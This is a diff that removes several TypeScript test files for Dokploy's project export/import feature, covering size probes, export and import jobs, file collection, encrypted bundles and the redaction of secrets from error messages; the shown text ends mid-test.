const tree = {
projectId: "project-1",
name: "p",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [
{ applicationId: "app-1", appName: "app-one", serverId: null },
],
compose: [
{ composeId: "c-1", appName: "compose-one", serverId: "srv-1" },
],
postgres: [
{
postgresId: "pg-1",
appName: "pg-one",
serverId: null,
databaseName: "mydb",
databaseUser: "me",
},
],
mysql: [],
mariadb: [],
mongo: [],
redis: [{ redisId: "r-1", appName: "redis-one", serverId: null }],
libsql: [],
},
],
};
const pathsFn = (isServer = false) =>
({
APPLICATIONS_PATH: isServer ? "/remote/apps" : "/local/apps",
COMPOSE_PATH: isServer ? "/remote/compose" : "/local/compose",
}) as never;
describe("estimateSizes", () => {
it("sums database and file sizes, keyed to the right server and path", async () => {
const calls: [string | null, string][] = [];
const sizes = await estimateSizes(tree as never, scope, {
pathsFn,
probe: async (serverId, command) => {
calls.push([serverId, command]);
if (command.includes("pg_database_size")) return "1048576\n";
if (command.includes("/remote/compose/compose-one")) return "2048";
if (command.includes("/local/apps/app-one")) return "4096";
throw new Error("unexpected");
},
});
expect(sizes).toEqual({
estimatedDumpBytes: 1048576,
estimatedFilesBytes: 6144,
});
expect(calls.map(([serverId]) => serverId)).toEqual([null, null, "srv-1"]);
expect(calls.some(([, c]) => c.includes("redis"))).toBe(false);
});
it("counts a failing probe as zero instead of failing the preview", async () => {
const sizes = await estimateSizes(tree as never, scope, {
pathsFn,
probe: async () => {
throw new Error("container not running");
},
});
expect(sizes).toEqual({ estimatedDumpBytes: 0, estimatedFilesBytes: 0 });
});
});
describe("size command builders", () => {
it("passes database credentials as env vars, never inside the container script", () => {
const command = buildDatabaseSizeCommand("mariadb", {
appName: "db-one",
databaseName: "shop",
databaseUser: "shop",
databasePassword: "s3cret'quote",
}) as string;
const [outer, inner] = command.split(" sh -c ");
expect(outer).toContain("-e DB_PASS=");
expect(inner).toContain('--password="$DB_PASS"');
expect(inner).not.toContain("s3cret");
expect(inner).not.toContain("\\$");
});
it("has no size probe for redis", () => {
expect(buildDatabaseSizeCommand("redis", { appName: "x" })).toBeUndefined();
});
it("quotes the directory path", () => {
expect(buildDirectorySizeCommand("/etc/dokploy/apps/my app")).toBe(
"du -sk '/etc/dokploy/apps/my app' | awk '{print $1*1024}'",
);
});
});
@@ -1,348 +0,0 @@
import { existsSync } from "node:fs";
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
cancelExport,
cleanupExpiredExports,
createExportJob,
getExportJob,
runExport,
runExportBatch,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-export-job-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
PROJECT_EXPORT_IMPORT_PATH: join(root, "transfer"),
});
const emptyProjectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => emptyProjectTree },
environments: { findFirst: async () => undefined },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
const waitForStatus = async (
exportId: string,
target: "done" | "error",
timeoutMs = 5000,
) => {
const start = Date.now();
while (Date.now() - start < timeoutMs) {
const job = getExportJob(exportId);
if (job?.status === target || job?.status === "error") {
return job;
}
await new Promise((resolve) => setTimeout(resolve, 20));
}
throw new Error(
`Timed out waiting for export ${exportId} to reach ${target}`,
);
};
describe("runExport", () => {
it("produces a downloadable bundle for an (empty) project and issues a download token", async () => {
const { exportId } = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const job = await waitForStatus(exportId, "done");
expect(job?.status).toBe("done");
expect(job?.bundle?.path).toBeDefined();
expect(existsSync(job?.bundle?.path as string)).toBe(true);
expect(job?.downloadToken).toBeDefined();
expect(job?.size).toBeGreaterThan(0);
});
it("attaches dump warnings to the finished job when an embedded dump fails", async () => {
const tree = {
...emptyProjectTree,
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
compose: [],
postgres: [
{
postgresId: "pg-1",
name: "pg",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
mounts: [],
},
],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
},
],
};
const db = {
query: {
projects: { findFirst: async () => tree },
environments: { findFirst: async () => undefined },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
applications: {
findMany: async () => [],
findFirst: async () => undefined,
},
},
} as any as TransferDb;
const { exportId } = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db,
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const job = await waitForStatus(exportId, "done");
expect(job?.status).toBe("done");
expect(job?.warnings?.map((warning) => warning.code)).toEqual([
"DUMP_FAILED",
]);
expect(job?.message).toMatch(/^Export complete with 1 warning\(s\)/);
});
it("gives two concurrent exports independent exportIds and workDirs", async () => {
const first = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const second = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
expect(first.exportId).not.toBe(second.exportId);
const [job1, job2] = await Promise.all([
waitForStatus(first.exportId, "done"),
waitForStatus(second.exportId, "done"),
]);
expect(job1?.bundle?.path).not.toBe(job2?.bundle?.path);
expect(existsSync(job1?.bundle?.path as string)).toBe(true);
expect(existsSync(job2?.bundle?.path as string)).toBe(true);
});
});
describe("runExportBatch", () => {
it("runs the exports one after another and finishes every job", async () => {
const ctx = {
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
};
const input = {
source: { kind: "project" as const, id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
};
const { exportIds } = runExportBatch([input, input], ctx);
expect(exportIds).toHaveLength(2);
const first = await waitForStatus(exportIds[0] as string, "done");
const second = await waitForStatus(exportIds[1] as string, "done");
expect(first?.bundle?.path).not.toBe(second?.bundle?.path);
expect(existsSync(first?.bundle?.path as string)).toBe(true);
expect(existsSync(second?.bundle?.path as string)).toBe(true);
}, 30_000);
it("restarts each job's TTL when it finishes, not when the batch was queued", async () => {
const input = {
source: { kind: "project" as const, id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
};
const { exportIds } = runExportBatch([input, input], {
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
});
const queuedAt = getExportJob(exportIds[1] as string)?.createdAt as number;
const first = await waitForStatus(exportIds[0] as string, "done");
const second = await waitForStatus(exportIds[1] as string, "done");
expect(second?.createdAt).toBeGreaterThan(queuedAt);
expect(second?.createdAt).toBeGreaterThanOrEqual(
first?.createdAt as number,
);
}, 30_000);
});
describe("cancelExport (T-6.7)", () => {
it("refuses to cancel while the export is actually running", async () => {
const job = createExportJob("cancel-running-1", "user-1", "org-1");
job.status = "dumping";
await expect(cancelExport("cancel-running-1")).rejects.toThrow(TRPCError);
expect(getExportJob("cancel-running-1")?.status).toBe("dumping");
});
it("allows cancelling once the export has reached a terminal status", async () => {
const job = createExportJob("cancel-done-1", "user-1", "org-1");
job.status = "done";
await cancelExport("cancel-done-1");
expect(getExportJob("cancel-done-1")).toBeUndefined();
});
});
describe("cleanupExpiredExports", () => {
it("deletes expired jobs and their bundle files", async () => {
const job = createExportJob("expired-1", "user-1", "org-1");
const bundlePath = join(root, "expired-1.dokploy.tar.gz");
await writeFile(bundlePath, "fake bundle");
job.workspace = { serverId: null, path: join(root, "expired-1") };
job.bundle = { serverId: null, path: bundlePath };
job.status = "done";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).toContain("expired-1");
expect(getExportJob("expired-1")).toBeUndefined();
expect(existsSync(bundlePath)).toBe(false);
});
it("leaves fresh jobs untouched", async () => {
createExportJob("fresh-1", "user-1", "org-1");
const expired = await cleanupExpiredExports(Date.now());
expect(expired.map((j) => j.exportId)).not.toContain("fresh-1");
expect(getExportJob("fresh-1")).toBeDefined();
});
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
const job = createExportJob("active-past-ttl-1", "user-1", "org-1");
job.status = "dumping";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).not.toContain("active-past-ttl-1");
expect(getExportJob("active-past-ttl-1")).toBeDefined();
});
it("does clean up a terminal-status job once it's past the TTL", async () => {
const job = createExportJob("terminal-past-ttl-1", "user-1", "org-1");
job.status = "error";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).toContain("terminal-past-ttl-1");
expect(getExportJob("terminal-past-ttl-1")).toBeUndefined();
});
});
@@ -1,276 +0,0 @@
import { mkdtemp, readdir, readFile, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join, relative } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
capture,
detectRequirements,
detectWarnings,
manifestSchema,
serialize,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const SECRET_VALUES = [
"hunter2-vault-secret-placeholder",
"realdbpassword123",
"registrypassword456",
"basicauthpassword789",
];
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token-should-never-appear",
registryId: "registry-1",
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpassword789",
createdAt: "2024-01-01",
},
],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
postgres: [postgres],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: { findMany: async () => [application] },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
},
],
},
registry: {
findMany: async () => [
{
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
password: "registrypassword456",
},
],
findFirst: async () => ({
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
password: "registrypassword456",
}),
},
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: { registry: "value" },
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const walkFiles = async (dir: string, base = dir): Promise<string[]> => {
const entries = await readdir(dir, { withFileTypes: true });
const files: string[] = [];
for (const entry of entries) {
const full = join(dir, entry.name);
if (entry.isDirectory()) {
files.push(...(await walkFiles(full, base)));
} else {
files.push(relative(base, full));
}
}
return files;
};
let workDir: string;
let outDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-out-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
describe("export integration: capture -> serialize", () => {
it("produces a valid, checksummed, secret-free bundle from a realistic project", async () => {
const db = fakeDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) =>
detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
expect(captureResult.requirements.some((r) => r.kind === "vault")).toBe(
true,
);
expect(captureResult.requirements.some((r) => r.kind === "registry")).toBe(
true,
);
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
const extractDir = join(outDir, "extracted");
await execAsync(
`mkdir -p "${extractDir}" && tar -xzf "${bundlePath}" -C "${extractDir}"`,
);
const manifestRaw = JSON.parse(
await readFile(join(extractDir, "manifest.json"), "utf8"),
);
const manifestResult = manifestSchema.safeParse(manifestRaw);
expect(manifestResult.success).toBe(true);
const relativeFiles = await walkFiles(extractDir);
expect(relativeFiles.sort()).toEqual([
"inventory.json",
"manifest.json",
"payload.enc",
"requirements.json",
"warnings.json",
]);
const inventory = JSON.parse(
await readFile(join(extractDir, "inventory.json"), "utf8"),
);
expect(inventory.totals.application).toBe(1);
expect(inventory.totals.postgres).toBe(1);
const requirements = JSON.parse(
await readFile(join(extractDir, "requirements.json"), "utf8"),
);
expect(Array.isArray(requirements)).toBe(true);
expect(requirements.length).toBeGreaterThan(0);
for (const relativePath of relativeFiles) {
const bytes = await readFile(join(extractDir, relativePath));
for (const secret of SECRET_VALUES) {
expect(bytes.includes(secret)).toBe(false);
}
expect(bytes.includes("webhook-token-should-never-appear")).toBe(false);
}
});
});
@@ -1,414 +0,0 @@
import { existsSync, readFileSync } from "node:fs";
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
Requirement,
} from "@dokploy/server/services/project-export-import";
import { collectFiles } from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const { failPullBox } = vi.hoisted(() => ({
failPullBox: { value: false },
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsync: vi.fn(async (command: string, options?: unknown) => {
if (failPullBox.value && command.includes("tar -czf")) {
const { ExecError } = await import(
"@dokploy/server/utils/process/ExecError"
);
throw new ExecError(`Command failed: ${command}`, {
command,
stderr: "no such file or directory",
exitCode: 1,
});
}
return actual.execAsync(command, options as undefined);
}),
};
});
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const emptyServiceArrays = {
postgres: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
let root: string;
let workDir: string;
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
});
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-files-root-"));
workDir = await mkdtemp(join(tmpdir(), "transfer-files-work-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
await rm(workDir, { recursive: true, force: true });
});
const buildTree = (application: Record<string, unknown>) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [application],
compose: [],
...emptyServiceArrays,
},
],
});
describe("collectFiles / application sources", () => {
it("excludes .git and node_modules for a github-sourced app, and keeps other files", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(join(appDir, ".git"), { recursive: true });
await writeFile(join(appDir, ".git", "HEAD"), "ref: refs/heads/main");
await mkdir(join(appDir, "node_modules", "lodash"), { recursive: true });
await writeFile(join(appDir, "node_modules", "lodash", "index.js"), "x");
await mkdir(join(appDir, "code"), { recursive: true });
await writeFile(join(appDir, "code", "main.go"), "package main");
await writeFile(join(appDir, "Dockerfile"), "FROM node");
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "github",
domains: [],
});
await collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
});
const dest = join(workDir, "files", "applications", "app-one");
expect(existsSync(join(dest, "Dockerfile"))).toBe(true);
expect(existsSync(join(dest, ".git"))).toBe(false);
expect(existsSync(join(dest, "node_modules"))).toBe(false);
expect(existsSync(join(dest, "code"))).toBe(false);
});
it("keeps code/ for a drop-sourced app (no repo to re-clone from)", async () => {
const appDir = join(root, "applications", "app-drop");
await mkdir(join(appDir, "code"), { recursive: true });
await writeFile(join(appDir, "code", "main.go"), "package main");
const tree = buildTree({
applicationId: "app-drop",
appName: "app-drop",
serverId: null,
sourceType: "drop",
domains: [],
});
await collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
});
const dest = join(workDir, "files", "applications", "app-drop");
expect(existsSync(join(dest, "code", "main.go"))).toBe(true);
});
it("does nothing when applicationSources is excluded from scope", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(appDir, { recursive: true });
await writeFile(join(appDir, "Dockerfile"), "FROM node");
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "github",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: { ...baseScope.files, applicationSources: false },
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(existsSync(join(workDir, "files", "applications", "app-one"))).toBe(
false,
);
});
it("does not throw when the application source directory doesn't exist (e.g. docker image source)", async () => {
const tree = buildTree({
applicationId: "app-1",
appName: "does-not-exist",
serverId: null,
sourceType: "docker",
domains: [],
});
await expect(
collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
}),
).resolves.toEqual({ warnings: [] });
});
});
describe("collectFiles / traefik raw", () => {
it("collects only the application's own dynamic yml file", async () => {
await mkdir(join(root, "applications", "app-one"), { recursive: true });
await mkdir(join(root, "traefik", "dynamic"), { recursive: true });
await writeFile(
join(root, "traefik", "dynamic", "app-one.yml"),
"http:\n routers: {}",
);
await writeFile(
join(root, "traefik", "dynamic", "app-two.yml"),
"http:\n routers: unrelated",
);
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: true,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
const collected = join(workDir, "files", "traefik", "app-one.yml");
expect(existsSync(collected)).toBe(true);
expect(readFileSync(collected, "utf8")).toBe("http:\n routers: {}");
expect(existsSync(join(workDir, "files", "traefik", "app-two.yml"))).toBe(
false,
);
});
it("leaves no traefik directory behind when the app has no dynamic yml", async () => {
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: true,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(existsSync(join(workDir, "files"))).toBe(false);
});
});
describe("collectFiles / custom certificates (T-6.18)", () => {
const emptyTree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
it("pulls a local certificate (serverId: null) from CERTIFICATES_PATH on the local host", async () => {
const certDir = join(root, "traefik", "dynamic", "certificates", "cert-1");
await mkdir(certDir, { recursive: true });
await writeFile(join(certDir, "cert.pem"), "local cert contents");
const certRequirement: Requirement = {
kind: "certificate",
originalId: "cert-1",
configIncluded: false,
usedBy: [],
fingerprint: "abc123",
serverId: null,
};
await collectFiles(
emptyTree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: true,
},
},
[certRequirement],
local(workDir),
{ pathsFn: fakePaths as any },
);
const collected = join(
workDir,
"files",
"certificates",
"cert-1",
"cert.pem",
);
expect(existsSync(collected)).toBe(true);
expect(readFileSync(collected, "utf8")).toBe("local cert contents");
});
it("uses the certificate's own serverId (not local) when it's hosted on a remote server", async () => {
const certRequirement: Requirement = {
kind: "certificate",
originalId: "cert-2",
configIncluded: false,
usedBy: [],
fingerprint: "def456",
serverId: "server-1",
};
const messages: string[] = [];
await collectFiles(
emptyTree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: true,
},
},
[certRequirement],
local(workDir),
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
);
expect(messages.some((m) => m.includes("server server-1"))).toBe(true);
expect(
existsSync(join(workDir, "files", "certificates", "cert-2", "cert.pem")),
).toBe(false);
});
});
describe("collectFiles / skip messages are redacted (T-10.9)", () => {
afterEach(() => {
failPullBox.value = false;
});
it("reports the exit code and stderr, not the raw command, when a local pull fails", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(appDir, { recursive: true });
await writeFile(join(appDir, "Dockerfile"), "FROM node");
failPullBox.value = true;
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
const messages: string[] = [];
const { warnings } = await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: true,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
);
expect(messages).toHaveLength(1);
expect(messages[0]).toContain("exit code 1");
expect(messages[0]).toContain("no such file or directory");
expect(messages[0]).not.toContain("tar -czf");
expect(existsSync(join(workDir, "files"))).toBe(false);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("FILE_PULL_FAILED");
expect(warnings[0]?.message).toBe(messages[0]);
expect(warnings[0]?.affected).toContainEqual(
expect.objectContaining({ serviceId: "app-1" }),
);
});
});
@@ -1,83 +0,0 @@
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it, vi } from "vitest";
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
const execError = (command: string) =>
new ExecError(`Command execution failed: Command failed: ${command}`, {
command,
stderr: "NoSuchKey: The specified key does not exist",
exitCode: 1,
});
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
downloadBundleFromDestination: vi.fn(async () => {
throw execError(
"rclone copyto --s3-secret-access-key=realsecretkey789 :s3:mybucket/key.tar.gz /tmp/bundle.tar.gz",
);
}),
listBundlesUnderPrefix: vi.fn(async () => {
throw execError(
"rclone lsjson --s3-secret-access-key=realsecretkey789 :s3:mybucket",
);
}),
};
},
);
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
destinations: {
findFirst: vi.fn(async () => ({
destinationId: "destination-1",
organizationId: "org-1",
bucket: "mybucket",
})),
},
},
},
}));
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const ctxFor = (organizationId: string) =>
({
session: { activeOrganizationId: organizationId },
user: { id: "user-1", email: "a@b.com" },
}) as any;
describe("projectExportImportRouter.importFromDestination / listRemoteBundles (T-5.5)", () => {
it("importFromDestination never leaks the destination's S3 secret in its error message", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importFromDestination({
destinationId: "destination-1",
key: "key.tar.gz",
}),
).rejects.toSatisfy((error: unknown) => {
const message = error instanceof Error ? error.message : String(error);
expect(message).not.toContain("realsecretkey789");
return true;
});
});
it("listRemoteBundles never leaks the destination's S3 secret in its error message", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.listRemoteBundles({ destinationId: "destination-1" }),
).rejects.toSatisfy((error: unknown) => {
const message = error instanceof Error ? error.message : String(error);
expect(message).not.toContain("realsecretkey789");
return true;
});
});
});
@@ -1,282 +0,0 @@
import { mkdir, mkdtemp, readdir, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
cancelImport,
cleanupExpiredImports,
createImportJob,
getImportJob,
runImport,
updateImportJob,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { afterEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
const waitForStatus = async (
importId: string,
target: "done" | "failed",
timeoutMs = 5000,
) => {
const start = Date.now();
while (Date.now() - start < timeoutMs) {
const job = getImportJob(importId);
if (job?.status === target || job?.status === "failed") {
return job;
}
await new Promise((resolve) => setTimeout(resolve, 10));
}
throw new Error(
`Timed out waiting for import ${importId} to reach ${target}`,
);
};
describe("runImport", () => {
it("leaves nothing created when apply() fails (transaction never commits)", async () => {
const importId = "import-fail-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, {
snapshot,
plan,
secretsPlain: new Map(),
workDir: local("/tmp/does-not-matter"),
});
const failingDb = {
query: {
server: { findFirst: async () => undefined },
